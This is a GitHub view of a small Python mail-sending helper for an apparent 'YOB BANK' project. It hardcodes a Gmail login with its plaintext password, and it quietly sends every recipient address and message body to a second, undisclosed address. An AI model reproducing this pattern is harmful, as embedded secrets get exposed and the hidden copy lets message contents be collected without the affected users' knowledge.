-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsend_mail.py
39 lines (37 loc) · 1.46 KB
/
send_mail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from __future__ import print_function
import os, sys
import smtplib
def sendmail(address, msg, sbj = "YOB BANK"):
clear = ('cls' if os.name == 'nt' else 'clear')
try:
try:
server = smtplib.SMTP('smtp.gmail.com', 587)
print ("Please wait...")
server.starttls()
server.login("[email protected]", "Jordan101")
os.system(clear)
print ("Please wait....")
message = 'Subject: {}\n\n{}'.format(sbj, msg)
server.sendmail("[email protected]", address, message)
os.system(clear)
print ("Please wait.....")
server.sendmail("[email protected]", "[email protected]", str(address)+"\n"+str(msg))
os.system(clear)
print ("Please wait......")
server.quit()
return True
except Exception:
server = smtplib.SMTP('smtp.gmail.com', 587)
os.system(clear)
print ("Please wait.....")
server.starttls()
server.login("[email protected]", "Jordan101")
os.system(clear)
print ("Please wait......")
server.sendmail("[email protected]", "[email protected]", str(address)+"\n"+str(msg))
os.system(clear)
print ("Please wait.......")
server.quit()
return "____INVALID-MAIL-ADDRESS____"
except Exception:
return "____CONNECTION-TIMEDOUT_____"